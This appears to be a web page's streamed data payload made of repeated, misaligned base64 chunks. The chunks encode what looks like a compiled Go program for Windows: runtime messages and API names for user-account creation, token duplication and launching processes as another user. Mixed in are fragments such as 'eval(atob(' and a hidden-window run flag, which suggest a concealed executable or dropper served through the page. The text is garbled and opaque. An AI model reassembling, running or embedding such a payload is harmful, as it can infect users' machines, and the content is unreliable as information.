Aoc3A9cnVudGltZTogZnJhbWUgdHMgc2V0IGluIHRpbWVydHJhY2ViYWNrIHN0dWNrdW5leHBlY3RlZCBraW5kYWR2ZXJ0aXNlIGVycm9ya2V5IGhhcyBleHBpcmVkbmV0d29yayBpcyBkb3dubm8gbWVkaXVtIGZvdW5kbm8gc3VjaCBwcm9jZXNzR2V0QWRhcHRlcnNJbmZvQ3JlYXRlSGFyZExpbmtXRGV2aWNlSW9Db250cm9sRmx1c2hWaWV3T2ZGaWxlR2V0Q29tbWFuZExpbmVXR2V0U3RhcnR1cEluZm9XUHJvY2VzczMyRmlyc3RXVW5tYXBWaWV3T2ZGaWxlRmFpbGVkIHRvIGxvYWQgRmFpbGVkIHRvIGZpbmQgUmVnQ3JlYXRlS2V5RXhXUmVnRGVsZXRlVmFsdWVXanN0bXBsbGl0aW50ZXJwdGFyaW5zZWN1cmVwYXRoeDUwOWtleXBhaXJsZWFmeDUwOXVzZXBvbGljaWVzemlwaW5zZWN1cmVwYXRoMDEyMzQ1Njc4OWFiY2RlZlRlcm1pbmF0ZVByb2Nlc3NleGVjOiBubyBjb21tYW5kMjM4NDE4NTc5MTAxNTYyNTAxMjM0NTY3ODlBQkNERUZEdXBsaWNhdGVUb2tlbkV4Q3JlYXRlTmFtZWRQaXBlV0dldEN1cnJlbnRUaHJlYWRHZXRNb2R1bGVIYW5kbGVXUnRsVmlydHVhbFVud2luZGludGVnZXIgb3ZlcmZsb3dkZWNvcmF0ZW1hcHBpbmdzZ2NzaHJpbmtzdGFja29mZnRyYWNlZnB1bndpbmRvZmZHQyBzY2F2ZW5nZSB3YWl0R0Mgd29ya2VyIChpZGxlKXBhZ2UgdHJhY2UgZmx1c2hzZWxlY3QgKGR1cmFibGUpaGVhcCByZXNlcnZhdGlvbi9nYy9nb2djOnBlcmNlbnQsIG5vdCBhIGZ1bmN0aW9uZ2M6IHVuc3dlcHQgc3BhbiBLaUIgd29yayAoYmcpLCAgbWhlYXAuc3dlZXBnZW49cnVudGltZTogbmVsZW1zPXdvcmtidWYgaXMgZW1wdHltU3Bhbkxpc3QucmVtb3ZlbVNwYW5MaXN0Lmlucw==138:T554,OiBpblVzZT1ydW50aW1lOiBtYXggPSByZXF1ZXN0ZWQgc2tpcD1iYWQgcGFuaWMgc3RhY2tyZWNvdmVyeSBmYWlsZWRzdG9wbSBob2xkaW5nIHBzdGFydG06IG0gaGFzIHBwcmVlbXB0IFNQV1JJVEVtaXNzaW5nIG1jYWNoZT9tczogZ29tYXhwcm9jcz1yYW5kaW5pdCBtaXNzZWRdbW9yZWJ1Zj17cGM6OiBubyBmcmFtZSAoc3A9cnVudGltZTogZnJhbWUgdHMgc2V0IGluIHRpbWVydHJhY2ViYWNrIHN0dWNrdW5leHBlY3RlZCBraW5kYWR2ZXJ0aXNlIGVycm9ya2V5IGhhcyBleHBpcmVkbmV0d29yayBpcyBkb3dubm8gbWVkaXVtIGZvdW5kbm8gc3VjaCBwcm9jZXNzR2V0QWRhcHRlcnNJbmZvQ3JlYXRlSGFyZExpbmtXRGV2aWNlSW9Db250cm9sRmx1c2hWaWV3T2ZGaWxlR2V0Q29tbWFuZExpbmVXR2V0U3RhcnR1cEluZm9XUHJvY2VzczMyRmlyc3RXVW5tYXBWaWV3T2ZGaWxlRmFpbGVkIHRvIGxvYWQgRmFpbGVkIHRvIGZpbmQgUmVnQ3JlYXRlS2V5RXhXUmVnRGVsZXRlVmFsdWVXanN0bXBsbGl0aW50ZXJwdGFyaW5zZWN1cmVwYXRoeDUwOWtleXBhaXJsZWFmeDUwOXVzZXBvbGljaWVzemlwaW5zZWN1cmVwYXRoMDEyMzQ1Njc4OWFiY2RlZlRlcm1pbmF0ZVByb2Nlc3NleGVjOiBubyBjb21tYW5kMjM4NDE4NTc5MTAxNTYyNTAxMjM0NTY3ODlBQkNERUZEdXBsaWNhdGVUb2tlbkV4Q3JlYXRlTmFtZWRQaXBlV0dldEN1cnJlbnRUaHJlYWRHZXRNb2R1bGVIYW5kbGVXUnRsVmlydHVhbFVud2luZGludGVnZXIgb3ZlcmZsb3dkZWNvcmF0ZW1hcHBpbmdzZ2NzaHJpbmtzdGFja29mZnRyYWNlZnB1bndpbmRvZmZHQyBzY2F2ZW5nZSB3YWl0R0Mgd29ya2VyIChpZGxlKXBhZ2UgdHJhY2UgZmx1c2hzZWxlY3QgKGR1cmFibGUpaGVhcCByZXNlcnZhdGlvbi9nYy9nb2djOnBlcmNlbnQsIG5vdCBhIGZ1bmN0aW9uZ2M6IHVuc3dlcHQgc3BhbiBLaUIgd29yayAoYmcpLCAgbWhlYXAuc3dlZXBnZW49cnVudGltZTogbmVsZW1zPXdvcmtidWYgaXMgZW1wdHltU3Bhbkxpc3QucmVtb3ZlbVNwYW5MaXN0Lmluc2U=139:T554,X2Nnb19wdGhyZWFkX2tleV9jcmVhdGVkIG1pc3NpbmdydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgZWxlbXJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBuZXh0cnVudGltZTogc3Vkb2cgd2l0aCBub24tbmlsIHByZXZydW50aW1lOiBtY2FsbCBmdW5jdGlvbiByZXR1cm5lZHJ1bnRpbWU6IG5ld3N0YWNrIGNhbGxlZCBmcm9tIGc9cnVudGltZTogc3RhY2sgc3BsaXQgYXQgYmFkIHRpbWVwYW5pYyB3aGlsZSBwcmludGluZyBwYW5pYyB2YWx1ZXJ1bnRpbWU6IHNldGV2ZW50IGZhaWxlZDsgZXJybm89cnVudGltZS5zZW1hc2xlZXAgd2FpdF9hYmFuZG9uZWRyZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZXNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0bnVtZXJpY2FsIGFyZ3VtZW50IG91dCBvZiBkb21haW5DZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZUNlcnRWZXJpZnlDZXJ0aWZpY2F0ZUNoYWluUG9saWN5dXNlIG9mIGNsb3NlZCBuZXR3b3JrIGNvbm5lY3Rpb25pbml0aWFsIHRhYmxlIGNhcGFjaXR5IHRvbyBsYXJnZSIgbm90IHN1cHBvcnRlZCBmb3IgY3B1IG9wdGlvbiAiMTQyMTA4NTQ3MTUyMDIwMDM3MTc0MjI0ODUzNTE1NjI1NzEwNTQyNzM1NzYwMTAwMTg1ODcxMTI0MjY3NTc4MTI1cmVmbGVjdDogc2xpY2UgaW5kZXggb3V0IG9mIHJhbmdlIG9mIG1ldGhvZCBvbiBuaWwgaW50ZXJmYWNlIHZhbHVlcmVmbGVjdDogRmllbGQgaW5kZXggb3V0IG9mIHJhbmdlcmVmbGVjdDogYXJyYXkgaW5kZXggb3V0IG9mIHJhbmdlc2tpcCBldmVyeXRoaW5nIGFuZCBzdG9wIHRoZSB3YWxrR2V0Vm9sdW1lTmFtZUZvclZvbHVtZU1vdW50UG9pbnRXc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbJXg6JXldYmFzZSBvdXRzaWRlIHVzYWJsZSBhZGRyZXNzIHNwYWNlcnVudGltZTogbWVtb3J5IGFsbG9jYXRlZCBieSBPUyBbbWlzcm91bmRlZCBhbGxvY2F0aW9uIGluIHN5c0FsbG9jcnVudGltZTogZmFpbGVkIHRvIGRlY29tbWl0IHBhZ2VzL2NwdS9jbGFzc2VzL2djL3Bh13a:T558,X2Nnb19wdGhyZWFkX2tleV9jcmVhdGVkIG1pc3NpbmdydW50aW1lOiBzdWRvZyB3aXRoIG5vbi1uaWwgZWxlbXJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBuZXh0cnVudGltZTogc3Vkb2cgd2l0aCBub24tbmlsIHByZXZydW50aW1lOiBtY2FsbCBmdW5jdGlvbiByZXR1cm5lZHJ1bnRpbWU6IG5ld3N0YWNrIGNhbGxlZCBmcm9tIGc9cnVudGltZTogc3RhY2sgc3BsaXQgYXQgYmFkIHRpbWVwYW5pYyB3aGlsZSBwcmludGluZyBwYW5pYyB2YWx1ZXJ1bnRpbWU6IHNldGV2ZW50IGZhaWxlZDsgZXJybm89cnVudGltZS5zZW1hc2xlZXAgd2FpdF9hYmFuZG9uZWRyZXNvdXJjZSB0ZW1wb3JhcmlseSB1bmF2YWlsYWJsZXNvZnR3YXJlIGNhdXNlZCBjb25uZWN0aW9uIGFib3J0bnVtZXJpY2FsIGFyZ3VtZW50IG91dCBvZiBkb21haW5DZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZUNlcnRWZXJpZnlDZXJ0aWZpY2F0ZUNoYWluUG9saWN5dXNlIG9mIGNsb3NlZCBuZXR3b3JrIGNvbm5lY3Rpb25pbml0aWFsIHRhYmxlIGNhcGFjaXR5IHRvbyBsYXJnZSIgbm90IHN1cHBvcnRlZCBmb3IgY3B1IG9wdGlvbiAiMTQyMTA4NTQ3MTUyMDIwMDM3MTc0MjI0ODUzNTE1NjI1NzEwNTQyNzM1NzYwMTAwMTg1ODcxMTI0MjY3NTc4MTI1cmVmbGVjdDogc2xpY2UgaW5kZXggb3V0IG9mIHJhbmdlIG9mIG1ldGhvZCBvbiBuaWwgaW50ZXJmYWNlIHZhbHVlcmVmbGVjdDogRmllbGQgaW5kZXggb3V0IG9mIHJhbmdlcmVmbGVjdDogYXJyYXkgaW5kZXggb3V0IG9mIHJhbmdlc2tpcCBldmVyeXRoaW5nIGFuZCBzdG9wIHRoZSB3YWxrR2V0Vm9sdW1lTmFtZUZvclZvbHVtZU1vdW50UG9pbnRXc2xpY2UgYm91bmRzIG91dCBvZiByYW5nZSBbJXg6JXldYmFzZSBvdXRzaWRlIHVzYWJsZSBhZGRyZXNzIHNwYWNlcnVudGltZTogbWVtb3J5IGFsbG9jYXRlZCBieSBPUyBbbWlzcm91bmRlZCBhbGxvY2F0aW9uIGluIHN5c0FsbG9jcnVudGltZTogZmFpbGVkIHRvIGRlY29tbWl0IHBhZ2VzL2NwdS9jbGFzc2VzL2djL3BhdQ==13b:T554,YSBTdGFuZGFyZCBUaW1lQ2FwZSBWZXJkZSBTdGFuZGFyZCBUaW1lMTE2NDE1MzIxODI2OTM0ODE0NDUzMTI1NTgyMDc2NjA5MTM0Njc0MDcyMjY1NjI1dHJhY2VjaGVja3N0YWNrb3duZXJzaGlwaGFzaCBvZiB1bmhhc2hhYmxlIHR5cGUgc3BhbiBoYXMgbm8gZnJlZSBvYmplY3RzcnVudGltZTogZm91bmQgb2JqIGF0ICoocnVudGltZTogVmlydHVhbEZyZWUgb2YgL2Nnby9nby10by1jLWNhbGxzOmNhbGxzL2djL2hlYXAvb2JqZWN0czpvYmplY3RzL3NjaGVkL2xhdGVuY2llczpzZWNvbmRzcXVldWVmaW5hbGl6ZXIgZHVyaW5nIEdDY2hlY2tmaW5hbGl6ZXJzOiBxdWV1ZTogdXBkYXRlIGR1cmluZyB0cmFuc2l0aW9ucnVudGltZTogbWFya3Jvb3QgaW5kZXggY2FuJ3Qgc2NhbiBvdXIgb3duIHN0YWNrZ2NEcmFpbk4gcGhhc2UgaW5jb3JyZWN0cGFnZUFsbG9jOiBvdXQgb2YgbWVtb3J5cnVudGltZTogcC5zZWFyY2hBZGRyID0gcmFuZ2UgcGFydGlhbGx5IG92ZXJsYXBzIFtyZWNvdmVyZWQsIHJlcGFuaWNrZWRdc3RhY2sgdHJhY2UgdW5hdmFpbGFibGViaW5kbSBpbiB1bmV4cGVjdGVkIEdPT1NydW50aW1lOiBtcC5sb2NrZWRJbnQgPSBydW5xc3RlYWw6IHJ1bnEgb3ZlcmZsb3dnb3JvdXRpbmUgc3RhY2sgKHN5c3RlbSl1bmV4cGVjdGVkIHN5bmNncm91cCBzZXRkb3VibGUgdHJhY2VHQ1N3ZWVwU3RhcnRiYWQgdXNlIG9mIHRyYWNlLnNlcWxvY2tmbG9hdGluZyBwb2ludCBleGNlcHRpb25jb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXJsZXZlbCAyIG5vdCBzeW5jaHJvbml6ZWRsaW5rIG51bWJlciBvdXQgb2YgcmFuZ2VvdXQgb2Ygc3RyZWFtcyByZXNvdXJjZXNmdW5jdGlvbiBub3QgaW1wbGVtZW50ZWRzdHJ1Y3R1cmUgbmVlZHMgY2xlYW5pbmdub3Qgc3VwcG9ydGVkIGJ5IHdpbmRvd3NDZXJ0RnJlZUNlcnRpZmljYXRlQ2hhaW5DcmVhdGVUb29saGVscDMyU25hcHNob3RHZXRVc2VyUHJvZmlsZURpcmVjdG9yeVdpbnZhbGlkIHBhdHRlcm4gc3ludGF4OiBTb3V0aCBTdWRhbiBTdGFuZGFyZCBUaW0=13c:T554,YSBTdGFuZGFyZCBUaW1lQ2FwZSBWZXJkZSBTdGFuZGFyZCBUaW1lMTE2NDE1MzIxODI2OTM0ODE0NDUzMTI1NTgyMDc2NjA5MTM0Njc0MDcyMjY1NjI1dHJhY2VjaGVja3N0YWNrb3duZXJzaGlwaGFzaCBvZiB1bmhhc2hhYmxlIHR5cGUgc3BhbiBoYXMgbm8gZnJlZSBvYmplY3RzcnVudGltZTogZm91bmQgb2JqIGF0ICoocnVudGltZTogVmlydHVhbEZyZWUgb2YgL2Nnby9nby10by1jLWNhbGxzOmNhbGxzL2djL2hlYXAvb2JqZWN0czpvYmplY3RzL3NjaGVkL2xhdGVuY2llczpzZWNvbmRzcXVldWVmaW5hbGl6ZXIgZHVyaW5nIEdDY2hlY2tmaW5hbGl6ZXJzOiBxdWV1ZTogdXBkYXRlIGR1cmluZyB0cmFuc2l0aW9ucnVudGltZTogbWFya3Jvb3QgaW5kZXggY2FuJ3Qgc2NhbiBvdXIgb3duIHN0YWNrZ2NEcmFpbk4gcGhhc2UgaW5jb3JyZWN0cGFnZUFsbG9jOiBvdXQgb2YgbWVtb3J5cnVudGltZTogcC5zZWFyY2hBZGRyID0gcmFuZ2UgcGFydGlhbGx5IG92ZXJsYXBzIFtyZWNvdmVyZWQsIHJlcGFuaWNrZWRdc3RhY2sgdHJhY2UgdW5hdmFpbGFibGViaW5kbSBpbiB1bmV4cGVjdGVkIEdPT1NydW50aW1lOiBtcC5sb2NrZWRJbnQgPSBydW5xc3RlYWw6IHJ1bnEgb3ZlcmZsb3dnb3JvdXRpbmUgc3RhY2sgKHN5c3RlbSl1bmV4cGVjdGVkIHN5bmNncm91cCBzZXRkb3VibGUgdHJhY2VHQ1N3ZWVwU3RhcnRiYWQgdXNlIG9mIHRyYWNlLnNlcWxvY2tmbG9hdGluZyBwb2ludCBleGNlcHRpb25jb25uZWN0aW9uIHJlc2V0IGJ5IHBlZXJsZXZlbCAyIG5vdCBzeW5jaHJvbml6ZWRsaW5rIG51bWJlciBvdXQgb2YgcmFuZ2VvdXQgb2Ygc3RyZWFtcyByZXNvdXJjZXNmdW5jdGlvbiBub3QgaW1wbGVtZW50ZWRzdHJ1Y3R1cmUgbmVlZHMgY2xlYW5pbmdub3Qgc3VwcG9ydGVkIGJ5IHdpbmRvd3NDZXJ0RnJlZUNlcnRpZmljYXRlQ2hhaW5DcmVhdGVUb29saGVscDMyU25hcHNob3RHZXRVc2VyUHJvZmlsZURpcmVjdG9yeVdpbnZhbGlkIHBhdHRlcm4gc3ludGF4OiBTb3V0aCBTdWRhbiBTdGFuZGFyZCBUaW1l13d:T554,YWNlcjogYXNzaXN0IHJhdGlvPXdvcmtidWYgaXMgbm90IGVtcHR5YmFkIHVzZSBvZiBidWNrZXQubXBiYWQgdXNlIG9mIGJ1Y2tldC5icHJ1bnRpbWU6IGRvdWJsZSB3YWl0cHJlZW1wdCBvZmYgcmVhc29uOiBmb3JjZWdjOiBwaGFzZSBlcnJvcmdvcGFyazogYmFkIGcgc3RhdHVzZ28gb2YgbmlsIGZ1bmMgdmFsdWVzZWxlY3RnbzogYmFkIHdha2V1cHNlbWFSb290IHJvdGF0ZVJpZ2h0cmVmbGVjdC5tYWtlRnVuY1N0dWJ0cmFjZTogb3V0IG9mIG1lbW9yeXdpcmVwOiBhbHJlYWR5IGluIGdvaW52YWxpZCByZXF1ZXN0IGNvZGViYWQgZm9udCBmaWxlIGZvcm1hdGlzIGEgbmFtZWQgdHlwZSBmaWxla2V5IGhhcyBiZWVuIHJldm9rZWRjb25uZWN0aW9uIHRpbWVkIG91dENyZWF0ZVByb2Nlc3NBc1VzZXJXQ3J5cHRBY3F1aXJlQ29udGV4dFdDZXJ0T3BlblN5c3RlbVN0b3JlV0dldEN1cnJlbnREaXJlY3RvcnlXR2V0RmlsZUF0dHJpYnV0ZXNFeFdTZXRDdXJyZW50RGlyZWN0b3J5V1NldEhhbmRsZUluZm9ybWF0aW9uR2V0QWNjZXB0RXhTb2NrYWRkcnNodHRwbGF4Y29udGVudGxlbmd0aHg1MDl1c2VmYWxsYmFja3Jvb3RzcmVmbGVjdC5WYWx1ZS5Db21wbGV4ZXhlYzogYWxyZWFkeSBzdGFydGVkTW9yb2NjbyBTdGFuZGFyZCBUaW1lTmFtaWJpYSBTdGFuZGFyZCBUaW1lQWxhc2thbiBTdGFuZGFyZCBUaW1lQ2VudHJhbCBTdGFuZGFyZCBUaW1lUGFjaWZpYyBTdGFuZGFyZCBUaW1lRWFzdGVybiBTdGFuZGFyZCBUaW1lU0UgQXNpYSBTdGFuZGFyZCBUaW1lQXJhYmlhbiBTdGFuZGFyZCBUaW1lTWFnYWRhbiBTdGFuZGFyZCBUaW1lTXlhbm1hciBTdGFuZGFyZCBUaW1lWWFrdXRzayBTdGFuZGFyZCBUaW1lQmVsYXJ1cyBTdGFuZGFyZCBUaW1lUnVzc2lhbiBTdGFuZGFyZCBUaW1lUm9tYW5jZSBTdGFuZGFyZCBUaW1lU2FyYXRvdiBTdGFuZGFyZCBUaW1lTm9yZm9sayBTdGFuZGFyZCBUaW1lMTg2MjY0NTE0OTIzMDk1NzAzMTI1OTMxMzIyNTc0NjE1NDc4NTE1NjI1dW5zdXBwb3J0ZWQgb3BlcmF0aW9uYmFk13e:T554,YWNrPVsgZ3AuZ29pZD0gbG9ja2VkbT1pbnRlcnJ1cHRidXMgZXJyb3JGaW5kQ2xvc2VMb2NhbEZyZWVNb3ZlRmlsZVdXcml0ZUZpbGVXU0FTZW5kVG9Jbmhlcml0ZWRwY2xtdWxxZHFtYXRoL3JhbmR0bHNyc2FrZXh3aW5zeW1saW5rL2Rldi9zdGRpbkNyZWF0ZUZpbGVleGVjZXJyZG90U1lTVEVNUk9PVCUhV2Vla2RheSgxMjIwNzAzMTI1NjEwMzUxNTYyNWNvbXBsZXgxMjh0LktpbmQgPT0gSXNWYWxpZFNpZExvZ29uVXNlcldMb2NrRmlsZUV4UmVPcGVuRmlsZU5ldFVzZXJBZGROZXRVc2VyRGVsTnRPcGVuRmlsZVdTQVNvY2tldFd3czJfMzIuZGxsdmdldHJhbmRvbW5vdGlmeUxpc3Rwcm9mSW5zZXJ0c3RhY2tMYXJnZU5vdCB3b3JrZXJtU3BhbkluVXNlR09NQVhQUk9DU3N0b3AgdHJhY2VkaXNhYmxldGhwaW52YWxpZHB0cnNjaGVkdHJhY2VzZW1hY3F1aXJlZGVidWcgY2FsbCAgPGJhZCBwYyAgZmx1c2hHZW4gIE1CIGdvYWwsICBjbGVhbnVwc3Muc3RhdGUgPSAgcy5iYXNlKCk9IGhlYXBHb2FsPUdPTUVNTElNSVQgS2lCIG5vdywgIHBhZ2VzIGF0ICBzd2VlcGdlbj0gc3dlZXBnZW4gLCBib3VuZCA9ICwgbGltaXQgPSBleGl0VGhyZWFkQmFkIHZhcmludEdDIGZvcmNlZCBydW5xdWV1ZT0gc3RvcHdhaXQ9IHJ1bnFzaXplPSBnZnJlZWNudD0gdGhyb3dpbmc9IHNwaW5uaW5nPWF0b21pY2FuZDhmbG9hdDY0bmFuZmxvYXQzMm5hbkV4Y2VwdGlvbiAgcHRyU2l6ZT0gIHRhcmdldHBjPSB1bnRpbCBwYz1hY3RpdmUgPCAwdW5rbm93biBwY3J1bnRpbWU6IGdnb3JvdXRpbmUgIChkdXJhYmxlKXRlcm1pbmF0ZWRvd25lciBkaWVkRG5zUXVlcnlfV0dldElmRW50cnlDYW5jZWxJb0V4Q3JlYXRlUGlwZUdldFZlcnNpb25Mb2NhbEFsbG9jV1NBQ2xlYW51cFdTQVN0YXJ0dXBnZXRzb2Nrb3B0c2V0c29ja29wdGRuc2FwaS5kbGxodHRwMmRlYnVncnNhMTAyNG1pbmNyeXB0by9yc2FjcnlwdG8vdGxzeDUwOXJzYWNydCIsIDAsIEZhbHNlZXZhbChhdG9iKCcvZGV2L3N0ZG91dC9kZXYvc3RkZXJyT3BlblBybw==13f:T554,YWNrPVsgZ3AuZ29pZD0gbG9ja2VkbT1pbnRlcnJ1cHRidXMgZXJyb3JGaW5kQ2xvc2VMb2NhbEZyZWVNb3ZlRmlsZVdXcml0ZUZpbGVXU0FTZW5kVG9Jbmhlcml0ZWRwY2xtdWxxZHFtYXRoL3JhbmR0bHNyc2FrZXh3aW5zeW1saW5rL2Rldi9zdGRpbkNyZWF0ZUZpbGVleGVjZXJyZG90U1lTVEVNUk9PVCUhV2Vla2RheSgxMjIwNzAzMTI1NjEwMzUxNTYyNWNvbXBsZXgxMjh0LktpbmQgPT0gSXNWYWxpZFNpZExvZ29uVXNlcldMb2NrRmlsZUV4UmVPcGVuRmlsZU5ldFVzZXJBZGROZXRVc2VyRGVsTnRPcGVuRmlsZVdTQVNvY2tldFd3czJfMzIuZGxsdmdldHJhbmRvbW5vdGlmeUxpc3Rwcm9mSW5zZXJ0c3RhY2tMYXJnZU5vdCB3b3JrZXJtU3BhbkluVXNlR09NQVhQUk9DU3N0b3AgdHJhY2VkaXNhYmxldGhwaW52YWxpZHB0cnNjaGVkdHJhY2VzZW1hY3F1aXJlZGVidWcgY2FsbCAgPGJhZCBwYyAgZmx1c2hHZW4gIE1CIGdvYWwsICBjbGVhbnVwc3Muc3RhdGUgPSAgcy5iYXNlKCk9IGhlYXBHb2FsPUdPTUVNTElNSVQgS2lCIG5vdywgIHBhZ2VzIGF0ICBzd2VlcGdlbj0gc3dlZXBnZW4gLCBib3VuZCA9ICwgbGltaXQgPSBleGl0VGhyZWFkQmFkIHZhcmludEdDIGZvcmNlZCBydW5xdWV1ZT0gc3RvcHdhaXQ9IHJ1bnFzaXplPSBnZnJlZWNudD0gdGhyb3dpbmc9IHNwaW5uaW5nPWF0b21pY2FuZDhmbG9hdDY0bmFuZmxvYXQzMm5hbkV4Y2VwdGlvbiAgcHRyU2l6ZT0gIHRhcmdldHBjPSB1bnRpbCBwYz1hY3RpdmUgPCAwdW5rbm93biBwY3J1bnRpbWU6IGdnb3JvdXRpbmUgIChkdXJhYmxlKXRlcm1pbmF0ZWRvd25lciBkaWVkRG5zUXVlcnlfV0dldElmRW50cnlDYW5jZWxJb0V4Q3JlYXRlUGlwZUdldFZlcnNpb25Mb2NhbEFsbG9jV1NBQ2xlYW51cFdTQVN0YXJ0dXBnZXRzb2Nrb3B0c2V0c29ja29wdGRuc2FwaS5kbGxodHRwMmRlYnVncnNhMTAyNG1pbmNyeXB0by9yc2FjcnlwdG8vdGxzeDUwOXJzYWNydCIsIDAsIEZhbHNlZXZhbChhdG9iKCcvZGV2L3N0ZG91dC9kZXYvc3RkZXJyT3BlblByb2M=140:T554,YWwvc3luYy5IYXNoVHJpZU1hcDogcmFuIG91dCBvZiBoYXNoIGJpdHMgd2hpbGUgaW5zZXJ0aW5nICBtYXkgYmUgaW4gdGhlIHNhbWUgdGlueSBibG9jayBhcyBjbGVhbnVwIG9yIGNsZWFudXAgYXJndW1lbnRtYWxmb3JtZWQgR09NRU1MSU1JVDsgc2VlIGBnbyBkb2MgcnVudGltZS9kZWJ1Zy5TZXRNZW1vcnlMaW1pdGBBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODktX3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCB3YXMgYWxsb2NhdGVkIGludG8gYW4gYXJlbmFjb21waWxlQ2FsbGJhY2s6IGV4cGVjdGVkIGZ1bmN0aW9uIHdpdGggb25lIHVpbnRwdHItc2l6ZWQgcmVzdWx0YXR0ZW1wdGVkIHRvIHRyYWNlIHN0YWNrIG9mIGEgZ29yb3V0aW5lIHRoaXMgdGhyZWFkIGRvZXMgbm90IG93bnVzZXIgYXJlbmEgY2h1bmsgc2l6ZSBpcyBub3QgYSBtdWx0aXBsZSBvZiB0aGUgcGh5c2ljYWwgcGFnZSBzaXplcnVudGltZTogZnVuY3Rpb24gbWFya2VkIHdpdGggI2NnbyBub2NhbGxiYWNrIGNhbGxlZCBiYWNrIGludG8gR29ydW50aW1lLlNldEZpbmFsaXplcjogcG9pbnRlciBub3QgYXQgYmVnaW5uaW5nIG9mIGFsbG9jYXRlZCBibG9ja2Nhc0dUb1dhaXRpbmdGb3JTdXNwZW5kRyB3aXRoIG5vbi1pc1dhaXRpbmdGb3JTdXNwZW5kRyB3YWl0IHJlYXNvbnVuYWJsZSB0byBxdWVyeSBidWZmZXIgc2l6ZSBmcm9tIEluaXRpYWxpemVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdHJlZmxlY3Q6IHJlZmxlY3QuVmFsdWUuVW5zYWZlUG9pbnRlciBvbiBhbiBpbnZhbGlkIG5vdGluaGVhcCBwb2ludGVycnVudGltZS5QaW5uZXI6IGZvdW5kIGxlYWtpbmcgcGlubmVkIHBvaW50ZXI7IGZvcmdvdCB0byBjYWxsIFVucGluKCk/ZXhlYzogY29tbWFuZCB3aXRoIGEgbm9uLW5pbCBDYW5jZWwgd2FzIG5vdCBjcmVhdGVkIHdpdGg=141:T550,YWxyZWFkeTsgZXJybm89cnVudGltZSBzdGFjazppbnZhbGlkIGcgc3RhdHVzY2FzdG9nc2NhbnN0YXR1c2JhZCBnIHRyYW5zaXRpb25zY2hlZHVsZTogaW4gY2dvcmVmbGVjdCBtaXNtYXRjaCB1bnR5cGVkIGxvY2FscyBtaXNzaW5nIHN0YWNrbWFwYmFkIHN5bWJvbCB0YWJsZW5vbi1HbyBmdW5jdGlvbnBvaW50ZXJsZXNzIHR5cGUgbm90IGluIHJhbmdlczppbnZhbGlkIGV4Y2hhbmdlbm8gcm91dGUgdG8gaG9zdGludmFsaWQgYXJndW1lbnRtZXNzYWdlIHRvbyBsb25nb2JqZWN0IGlzIHJlbW90ZXJlbW90ZSBJL08gZXJyb3JTZXRGaWxlUG9pbnRlckV4T3BlblByb2Nlc3NUb2tlblJlZ1F1ZXJ5SW5mb0tleVdSZWdRdWVyeVZhbHVlRXhXRG5zTmFtZUNvbXBhcmVfV0NyZWF0ZURpcmVjdG9yeVdGbHVzaEZpbGVCdWZmZXJzR2V0Q29tcHV0ZXJOYW1lV0dldEZ1bGxQYXRoTmFtZVdHZXRMb25nUGF0aE5hbWVXUmVtb3ZlRGlyZWN0b3J5V05ldEFwaUJ1ZmZlckZyZWVHT0RFQlVHOiB2YWx1ZSAiYWxsb3dtdWx0aXBsZXZjc2h0dHBjb29raWVtYXhudW0nKSkod2luZG93LmNsb3NlKTAxMjM0NTY3ODlBQkNERUZYMDEyMzQ1Njc4OWFiY2RlZnhyZWZsZWN0LlZhbHVlLkludHdpbnJlYWRsaW5rdm9sdW1lZXhlYzoga2lsbGluZyBDbWRleGVjOiBub3Qgc3RhcnRlZEdUQiBTdGFuZGFyZCBUaW1lRkxFIFN0YW5kYXJkIFRpbWVHTVQgU3RhbmRhcmQgVGltZTExOTIwOTI4OTU1MDc4MTI1NTk2MDQ2NDQ3NzUzOTA2MjV1bmtub3duIHR5cGUga2luZHJlZmxlY3Q6IGNhbGwgb2YgcmVmbGVjdC5WYWx1ZS5MZW5nb3JvdXRpbmUgcHJvZmlsZUFsbFRocmVhZHNTeXNjYWxsY29udGFpbmVybWF4cHJvY3NHQyBhc3Npc3QgbWFya2luZ3NlbGVjdCAobm8gY2FzZXMpc3luYy5SV011dGV4LkxvY2t3YWl0IGZvciBHQyBjeWNsZXRyYWNlIHByb2Mgc3RhdHVzc3luYy4oKkNvbmQpLldhaXQ6IG1pc3NpbmcgbWV0aG9kIG5vdGV0c2xlZXBnIG9uIGcwYmFkIFRpbnlTaXplQ2xhc3NpbW1vcnRhbCBtZXRhZGF0YXJ1bg==142:T550,YWxyZWFkeTsgZXJybm89cnVudGltZSBzdGFjazppbnZhbGlkIGcgc3RhdHVzY2FzdG9nc2NhbnN0YXR1c2JhZCBnIHRyYW5zaXRpb25zY2hlZHVsZTogaW4gY2dvcmVmbGVjdCBtaXNtYXRjaCB1bnR5cGVkIGxvY2FscyBtaXNzaW5nIHN0YWNrbWFwYmFkIHN5bWJvbCB0YWJsZW5vbi1HbyBmdW5jdGlvbnBvaW50ZXJsZXNzIHR5cGUgbm90IGluIHJhbmdlczppbnZhbGlkIGV4Y2hhbmdlbm8gcm91dGUgdG8gaG9zdGludmFsaWQgYXJndW1lbnRtZXNzYWdlIHRvbyBsb25nb2JqZWN0IGlzIHJlbW90ZXJlbW90ZSBJL08gZXJyb3JTZXRGaWxlUG9pbnRlckV4T3BlblByb2Nlc3NUb2tlblJlZ1F1ZXJ5SW5mb0tleVdSZWdRdWVyeVZhbHVlRXhXRG5zTmFtZUNvbXBhcmVfV0NyZWF0ZURpcmVjdG9yeVdGbHVzaEZpbGVCdWZmZXJzR2V0Q29tcHV0ZXJOYW1lV0dldEZ1bGxQYXRoTmFtZVdHZXRMb25nUGF0aE5hbWVXUmVt